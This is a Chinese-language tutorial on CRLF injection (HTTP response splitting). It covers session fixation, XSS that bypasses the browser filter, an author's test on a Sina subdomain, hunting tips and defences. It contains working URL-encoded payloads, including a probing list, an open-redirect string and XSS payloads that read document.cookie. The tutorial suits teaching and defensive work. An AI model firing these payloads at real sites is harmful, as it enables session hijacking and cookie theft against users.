Web安全-HTTP響應拆分(CRLF注入)漏洞
漏洞簡介
CRLF 是 CR 和 LF 兩個字符的拼接,它們分別代表 “回車+換行”(\r),全稱為 “Carriage Return/Line Feed”,十六進制編碼分別為0x0d 和 0x0a,URL編碼為 %0D 和 %0A 。CR 和 LF 組合在一起即 CRLF 命令,它表示鍵盤上的 “Enter” 鍵,許多應用程序和網絡協議使用這些命令作為分隔符。
在 HTTP 協議中,HTTP header 之間是由一個 CRLF 字符序列分隔開的,HTTP Header 與 Body 是用兩個 CRLF 分隔的,瀏覽器根據這兩個 CRLF 來取出 HTTP 內容并顯示出來。
所以如果用戶的輸入在 HTTP 返回包的 Header 處回顯,便可以通過 CRLF 來提前結束響應頭,在響應內容處注入攻擊腳本。因此 CRLF Injection 又叫 HTTP 響應拆分/截斷(HTTP Response Splitting,簡稱HRS)。
此處可以在本地測試一下 CRLF 字符的作用,如輸入111%0d%0a222%0d%0a%0d%0a333,能看到插入一個 CRLF 字符和兩個 CRLF 字符依次的作用是換行和插入空行:

CRLF 注入漏洞的本質和 XSS 有點相似,攻擊者將惡意數據發送給易受攻擊的 Web 應用程序,Web 應用程序將惡意數據輸出在 HTTP 響應頭中(XSS一般輸出在主體中)。所以 CRLF 注入漏洞的檢測也和 XSS 漏洞的檢測差不多。通過修改 HTTP 參數或 URL,注入惡意的 CRLF,查看構造的惡意數據是否在響應頭中輸出。
漏洞利用
根據插入的 CRLF 的個數不同,可設置任意的響應頭,控制響應正文兩個主要的利用辦法。具體的危害表現在:會話固定、XSS、緩存病毒攻擊、日志偽造等等。
會話固定
正常一般網站會在 HTTP 頭中用 Location: ip 這種方式來進行302跳轉,所以攻擊者可以構造惡意的 CRLF 字符控制的內容就是Location:后面的內容!
一個正常的 302 跳轉包是這樣:
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn
但如果我們輸入的是:
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyu
注入了一個換行,此時的返回包就會變成這樣:
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun
這個時候這樣我們就給訪問者設置了一個 SESSION,造成一個“會話固定漏洞”。

XSS攻擊
當然,HRS 并不僅限于會話固定,通過注入兩個 CRLF 就能造成一個無視瀏覽器 Filter 的反射型 XSS。
比如一個網站接受 url 參數 http://test.sina.com.cn/?url=xxx,xxx 放在 Location 后面作為一個跳轉。如果我們輸入的是:
http://test.sina.com.cn/?url=%0d%0a%0d%0a
返回包就會變成這樣:
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location:
之前說了瀏覽器會根據第一個 CRLF 把 HTTP 包分成頭和體,然后將體顯示出來。于是我們這里這個標簽就會顯示出來,造成一個XSS。
為什么說是無視瀏覽器 Filter 的?
這里涉及到另一個問題。瀏覽器的 Filter 是瀏覽器應對一些反射型XSS做的保護策略,當 url 中含有 XSS 相關特征的時候就會過濾掉不顯示在頁面中,所以不能觸發 XSS。怎樣才能關掉 filter?一般來說用戶這邊是不行的,只有數據包中 http 頭含有X-XSS-Protection 并且值為 0 的時候,瀏覽器才不會開啟 filter。
說到這里應該就很清楚了,HRS 不正是注入 HTTP 頭的一個漏洞嗎,我們可以將 X-XSS-Protection:0 注入到數據包中,再用兩個 CRLF 來注入 XSS 代碼,這樣就成功地繞過了瀏覽器 filter,并且執行我們的反射型 XSS。所以說 HRS 的危害大于 XSS,因為它能繞過一般 XSS 所繞不過的 filter,并能產生會話固定漏洞。
綜上,當我們輸入兩次%0d時,響應頭和響應正文會進行分離,就可以構成反射型 xss,Payload 如下
http://you-ip/?setcookie=%0dX-XSS-Protection:%200%0a%0d%0a%0d%0aalert('xss')
響應包:
HTTP/1.1 200 OKContent-Type: text/html Connection: close set-cookie: X-XSS-Protection: 0
alert('xss')
實戰案例
來一個真實案例, 新浪某分站含有一個 url 跳轉漏洞,危害并不大,于是我就想到了 CRLF Injection,當我測試:
http://xxx.sina.com.cn/?url=%0d%0a%0d%0a%3Cimg%20src=1%3E
發現圖片已經輸出在頁面中了,說明 CRLF 注入成功了:

那么我們試試 XSS 看看:

看控制臺,果然被 XSS Filter 攔截了。
那么我們就注入一個:
X-XSS-Protection:0
到數據包中,看看什么效果:

挖掘技巧
挖掘此類漏洞,依舊要遵循亙古不變的原則,觀察我們的 “輸入” 和 “輸出” 位置,對于 CRLF 則是觀察返回的各種類型的協議頭,所以挖掘分三步:
1. 觀察輸出是否在返回頭中,查看輸入,可能是在 URL 值和參數、cookie 頭中,在過往的挖掘過程中,最常見的兩種情況是使用輸入參數創建 Cookie和 302 跳轉 location 處;
2. 提交 %0D%0A 字符,驗證服務器是否響應%0D%0A,若過濾可以通過雙重編碼繞過;
3. 漏洞利用,使殺傷最大化,將漏洞轉化為 HTML 注入,XSS,緩存 等。
附上 CRLF Payload:
//探測漏洞:%0d%0aheader:header%0aheader:header%0dheader:header%23%0dheader:header%3f%0dheader:header/%250aheader:header/%250aheader:header/%%0a0aheader:header/%3f%0dheader:header/%23%0dheader:header/%25%30aheader:header/%25%30%61header:header/%u000aheader:header
//開放重定向:/www.google.com/%2f%2e%2e%0d%0aheader:header
//CRLF-XSS:%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2e%2e
//XSS繞過:%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/
//Location:%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
漏洞防御
要避免 http 響應截斷,需要注意以下幾點:
1. 對用戶的數據進行合法性校驗,對特殊的字符進行編碼,如<、>、’、”、CR、LF等,限制用戶輸入的 CR 和 LF,或者對 CR 和 LF 字符正確編碼后再輸出,以防止注入自定義 HTTP 頭;
2. 創建安全字符白名單,只接受白名單中的字符出現在 HTTP 響應頭文件中;
3. 在將數據傳送到 http 響應頭之前,刪除所有的換行符。